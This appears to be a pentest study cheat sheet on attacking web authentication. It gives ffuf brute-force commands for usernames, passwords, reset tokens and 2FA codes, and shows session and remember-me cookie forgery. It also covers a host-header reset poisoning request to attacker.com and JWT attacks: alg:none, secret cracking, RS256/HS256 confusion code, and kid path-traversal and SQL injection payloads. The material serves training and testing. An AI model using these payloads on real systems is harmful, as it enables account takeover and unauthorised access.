Web

Broken Authentication & JWT

Auth attacks from the CWES path: username enumeration, OTP/token brute force, predictable session forgery, password-reset abuse (host header injection), JWT (alg:none, secret cracking, jwt_tool), and cookie flag analysis. Every payload separated.

Username enumeration

When the app says “Unknown user” vs “Wrong password”:

ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://IP/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"

Password brute force (known username)

Build a policy-compliant wordlist:

grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt

Brute force, filtering out failures:

ffuf -w ./custom_wordlist.txt -u http://IP/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"

OTP / token brute force

Generate all 4-digit tokens:

seq -w 0 9999 > tokens.txt

Password-reset token brute:

ffuf -w ./tokens.txt -u 'http://weak_reset.htb/reset_password.php?token=FUZZ' -fr "The provided token is invalid"

2FA OTP brute (needs a session cookie):

ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=SESSION_ID_HERE" -d "otp=FUZZ" -fr "Invalid 2FA Code"

Predictable session forgery

Decode a base64 session token:

echo -n 'dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy' | base64 -d

Modify the value and re-encode (use as your new cookie):

echo -n 'user=htb-stdnt;role=admin' | base64

Password reset - host header injection

Makes the reset link point at your domain:

POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

JWT attacks

Decode a JWT part:

echo "PAYLOAD_PART" | base64 -d

alg:none bypass - change header to {"alg":"none"} and strip the signature (keep the trailing dot):

HEADER.PAYLOAD.

Brute force an HS256 secret with hashcat:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

jwt_tool dictionary attack on the secret:

python3 jwt_tool.py TOKEN -C -d rockyou.txt
Secure    - absent on HTTPS → cookie sent in cleartext over HTTP
HttpOnly  - absent → JavaScript can read the cookie (XSS → hijack)
SameSite  - absent/None → CSRF possible

MFA / 2FA bypass

Response manipulation

Intercept the 2FA verification response in Burp Proxy. Change the failed response to a success:

HTTP/1.1 200 OK
{"status": "success", "redirectUrl": "/dashboard"}

If the app trusts the response body rather than validating server-side → bypass.

Skip the 2FA step entirely

After logging in with valid credentials, don’t complete 2FA. Directly navigate to the authenticated endpoint:

curl -b "session=SESSION_AFTER_STEP1" https://TARGET/dashboard

If the session is already partially authenticated after step 1 → you may access protected pages before completing 2FA.

Code reuse

Submit a valid 2FA code a second time in Burp Repeater. If it’s accepted again → codes are not invalidated after use.

No rate limiting

Brute force the OTP without account lockout:

ffuf -w tokens.txt -u https://TARGET/2fa -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b "session=SESSION" \
  -d "code=FUZZ" -fr "Invalid code"

JWT Algorithm Confusion (RS256 → HS256)

The server signs with RS256 (asymmetric). If it also accepts HS256, sign the token with the public key as the HMAC secret — the server verifies it using the same public key and it passes.

Step 1 — Get the public key

curl -s https://TARGET/.well-known/jwks.json
openssl s_client -connect TARGET:443 | openssl x509 -pubkey -noout

Step 2 — Sign with public key as HMAC secret

import jwt

public_key = open('public.pem').read()
payload = {"sub": "administrator", "iat": 1234567890}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)

Or use JWT Editor in Burp: intercept the JWT → JWT Editor keys tab → new RSA key → paste JWK → in Repeater switch alg to HS256, modify claims, sign with embedded public key.


”Stay Logged In” / Remember-Me Token Forgery

If the remember-me token is a predictable value (base64 of username:timestamp, MD5 of password):

# Decode
echo "dXNlcjE6MTcwMDAwMDAwMA==" | base64 -d
# user1:1700000000

# Forge for admin
echo -n "admin:1700000000" | base64

Submit the forged value as the rememberMe / stay_logged_in cookie.


JWT kid Header Injection

The kid header tells the server which key to use. If it’s used in a file path or SQL query without sanitisation:

Path traversal

{"alg": "HS256", "kid": "../../dev/null"}

Sign with an empty string as the secret (contents of /dev/null):

import jwt
token = jwt.encode({"sub": "admin"}, "", algorithm="HS256",
                   headers={"kid": "../../dev/null"})

SQL injection via kid

{"kid": "x' UNION SELECT 'mysecret'-- -"}

Sign the token with mysecret as the HMAC key.